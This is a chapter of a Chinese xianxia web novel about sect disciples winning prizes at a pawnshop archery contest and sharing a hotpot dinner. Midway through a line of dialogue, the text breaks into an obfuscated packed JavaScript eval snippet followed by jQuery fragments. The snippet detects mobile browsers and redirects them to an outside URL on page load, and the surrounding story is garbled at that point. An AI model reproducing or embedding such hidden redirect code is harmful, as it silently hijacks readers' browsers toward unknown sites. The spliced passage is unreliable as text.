14. 彩头

作品:《强取豪夺后给我交社保了吗

    “哎,前面怎么围了那么多人?”孙二娘踮起脚尖,在人头攒动的街巷上卖力往前看。


    薛逢梨手里拿着半串糖葫芦,闻声也瞥了一眼:“前面……似乎是腾云楼。”


    孟知匀护着身边的阮卿依和孙二娘,让二人不至于被人群冲散,听到腾云楼,忽然想起今日似乎又到了每月的“会员日”。


    腾云楼是盛朝官方把持的当铺,在五州各郡县皆有设立。在里面既可以拿天材地宝、灵器秘术等换取钱财,也可以用钱购买这些凡间不易得的灵物。不过进行交易前,来者须得拿出身份证明进行登记,严禁匿名私下买卖。所以,对于修士和凡人来讲,这都是一个值得信赖的交易平台。


    每月初八,腾云楼都会举办“知音会”,将一些不算珍稀的灵物拿出来做彩头,次次都惹得楼前人满为患。


    毕竟,在寻常日子里,这些看似不起眼的东西或许在民间也能卖出个不俗的价格,有羊毛谁会不想薅一把呢?


    所以每逢知音会,不止是凡人,街上来来往往的修士也爱去凑个热闹。


    孟知匀摸了摸自己瘪掉的钱包,回头看向几人:“怎么样,想去腾云楼看看吗?”


    再逛下去,她真要倾家荡产了。


    孙二娘从小就是个爱热闹的,自然双手双脚赞成,阮卿依和薛逢梨当然也无不可。


    几人便见缝插针地从人群里一路挤到了腾云楼前。


    “感谢大家今日捧场,”一身蓝衫的掌柜走出来,先朝围了一圈的百姓作了个揖,满面含笑,声音洪亮,“不过今天的知音会,咱们换个玩法——”


    “以往的抽签啊,凭的是手气,今天咱们改用射箭,凭本事。”


    他大掌一拍,几个伙计便将一个挂了许多红绸木牌的大靶板抬了出来。


    “这木牌上写着的,便是咱今日的彩头,诸位都是小店的老朋友了,自然识货,我就不多费口舌介绍了。”掌柜抚须而笑,指了指靶板,“只要射中木牌上方的红绸带,便可将牌子上所写之物带走,一人只可尝试一次。大家若是准备好了,只管去伙计那边登记,以先后次序入场。”


    孟知匀挤过来时就眼疾手快地抢占了个好位置,所以掌柜的话音刚落,她就拉着几人直冲登记处而去,气也不带喘地将弟子腰牌拍在了桌子上:“钟粹山,孟知匀。”


    负责记名的伙计接过她的腰牌,象征性地瞅了一眼,笑道:“孟姑娘,今日怎么有闲心来参与‘知音会’了?”


    孟知匀往常没少替薛腾跑腿儿卖灵药,所以在腾云楼也混了个眼熟,一来二去,伙计们也不再生疏地叫什么“仙师”了,来往之间颇有几分熟稔。


    “难得有空,带师妹和朋友来逛逛,正巧遇上了,便来试试。”孟知匀往旁边挪了挪,以便后面的薛逢梨登记。


    “那今儿可是来得巧了!这批‘彩头’都是云梦州的东西,在咱北凛州算是稀罕物。”伙计手上不停,挑着几样有趣的向几人大致介绍了一下。


    阮卿依几人听着有趣:“倒都是没怎么见过的。”


    今日这场知音会虽说要射箭取物,但是规矩没规定得太死,毕竟北凛州剑修、刀修居多,绝大部分人都不擅弓箭,所以最后无论过程,只要射中红绸,就可以拿走木牌上写着的东西。


    排在孟知匀前头的是个碧玉年华的少女,看起来有些弱不禁风。她没去拿弓,而是直接从箭筒里取了一根箭出来,然后对着靶板比划了几下,素手一掷,竟是将箭直接稳稳地扎进了红绸里,引得围观群众一阵叫好。


    “当真是人不可貌相,这姑娘腕力不俗!”


    “这不是桂花巷李寡妇家的女儿吗?听说她娘身体也不好,这丫头从小看起来就病歪歪的,没成想,竟是个有本事的。”


    一个伙计跑过去取下木牌,将对应的盒子递给她:“这是您的桃花碧玉簪,戴着对滋养身体有好处。”


    少女收下盒子,淡淡应了一声,便快步走下台了。


    孟知匀上台后,先大概将今日的彩头看了一遍,觉得没什么特别感兴趣的,便挑了个“青鸾铃”,想着这种漂亮的小玩意儿指不定回宗门后能卖个二手,让她回回血。


    一旁的群众见是一个背着剑的女子上了台,一个个都伸长了脖子。


    钟灵郡邻近钟粹山,平日里在此活动的修士不少,剑修尤甚。


    但是剑修素来来去匆匆,神龙见首不见尾,颇有点不染凡俗的神秘感,所以在场众人还是头一遭看见有剑修公然抛头露面参与他们民间的玩乐,一时之间都有些好奇,想见识一下修行中人的手段。


    孟知匀既没去拿弓,也没去拿剑,反而飞身从一旁的树上摘了片叶子下来,随后手指猛地发力,叶子便如出弓之箭般直直飞了出去,钉在了红绸上。


    “好!”


    旁观众人皆是喝彩。


    “不愧是仙师,今日得见‘摘叶飞花’之妙,算是不枉我看这一遭热闹!”


    伙计将盒子捧来递给她,因知晓其修士的身份,便没有多嘴介绍。


    孟知匀走下台,把铃铛取出来摇了摇。此物声音清脆、做工精美,其上还有一只青鸾鸟绕铃而飞,估摸着能倒手卖个二三两。


    她心满意足地将青鸾铃随手挂在了腰间。


    台上的薛逢梨则老老实实拿了弓箭去射。她小时候跟玉露长老学过一些人间的“六艺”,但是久不用弓,早就手生了,所以准头不行。好在箭还是射到了红绸上,只不过并非她原本中意的那个。


    孟知匀在一旁等她,眨了下眼睛,问道:“是什么好东西?”


    “玲珑鼓。”薛逢梨打开盒子,从里面拿出一个小巧的拨浪鼓,随手一晃,这鼓便自行摇出了一段悠扬的江南曲调。


    “挺有意思的。”孟知匀笑道,“以后等哪个师兄师姐有了孩子,你便拿这个去逗一逗。”


    薛逢梨也笑:“那我定然是宗门里最受小孩子喜欢的。”


    二人谈话间,阮卿依便走了上去。她如今姿色不在,像个年逾四十的妇人,拿起箭来却是一发即中,赢得了满堂彩。


    随后上台的孙二娘则不知道从哪拿出来一个弹弓,又从路边捡了块石子,最后稳稳打中了红绸,拿到了想要的东西。


    阮卿依等在一边,待孙二娘走下台,便将木盒里的暖玉梳递给她:“这块暖玉可以温养身体,眼看要冬日了,你平日里用一用,可以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173726|196678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    防范风寒。”


    孙二娘愣了一下,接过玉梳,也从盒子里拿出一管玉笛:“今日听你说小时候曾跟你父亲学过吹笛子,正巧看彩头里有这个翡翠玉笛,便想拿来送你。”


    没想到彼此竟想到一处去了,二人相视一笑,眼底都泛出点泪意。


    孟知匀看了一眼天色,带几人在街上吃吃喝喝地闲逛了一会儿,又在市集上买了点菜,这才踩着夕阳余晖赶去品闲居。


    霞光斜照,薛昱倚在茶楼门口,正低着头不知在想些什么。


    往来路过的人不免都要多看他一眼,却迫于此人周遭寒意透骨,竟无一人胆敢上前攀谈。


    孟知匀却隔着老远便对他挥了挥手:“师兄!”


    薛昱闻声抬起头,看到四个人大包小包地朝自己走来,眼皮猛地跳了跳。


    “去。”他将一股灵气注入剑柄,雾凇剑便“唰”的一下出了鞘,直冲四人而去,吓得路过众人一哄而散,生怕这几人当街斗法波及自己。


    带着凛然寒气的雾凇转瞬就到了几人身边,然后稳稳地浮在空中,不动了。


    孟知匀看了看薛昱,又看了看雾凇,忽然福至心灵地将自己挎着的菜篮放到了剑身上。


    雾凇绕着她飞了一圈,然后又停在了阮卿依身边。


    刚刚被吓回铺子里的众人忍不住探头探脑,感觉自己今日算是大开眼界了。


    江湖传闻不是说剑修爱剑如命吗,怎么这人居然把自己的剑拿出来给人驮东西?


    几个在楼上看热闹的剑修更是要昏过去。


    这是什么?这可是雾凇哇!它是用来干这种事情的吗?


    换做他们自个儿,天天把这绝世名剑供起来都觉得怠慢了,恨不能日日夜夜拿天地灵气养着!


    这薛家二少主,当真是个狂傲之人!


    阮卿依有些为难地看向孟知匀:“这不太好吧。”


    孟知匀正不知作何回答,身后忽然传来一把清凛的嗓音:“没事,它喜欢干这个。”


    雾凇剑身上的霜更厚了几层。


    *


    在天色没彻底暗下来之前,一行五人,以及驮着几大包东西和一大篮菜的雾凇,抵达了阮家小院。


    孟知匀张罗着要做火锅,支使着几人劈柴、刷锅又切菜,最后成功在院子里架起来了一个热锅子。


    钟粹山弟子的口味向来比较清淡,水煮菜里随便加点调料就能吃得有滋有味。


    孟知匀自己则是个重口味,看孙二娘和阮卿依也喜欢吃辣,便把自己花了九文从市集上买来的辣酱拿了出来,调了三碗蘸水。


    一顿饭下来,几人俱是心满意足。


    “师姐,你这是从哪学来的手艺?”薛逢梨捧着碗问她,“是从你家里那边吗?”


    薛昱正拿着烧火棍拨弄柴禾,闻言手臂一定,也竖起了耳朵。


    孟知匀此人来历成迷,据说生于中州一个偏远村子,父母过世后便来投奔了钟粹山。虽然她说辞中多有不合理之处,但是掌门和长老们只当其中另有隐情,见其心性澄澈,便也不多询问。


    孟知匀愣了一下,随后浑不在意地点了点头,笑道:“对呀,这是我娘教我的。”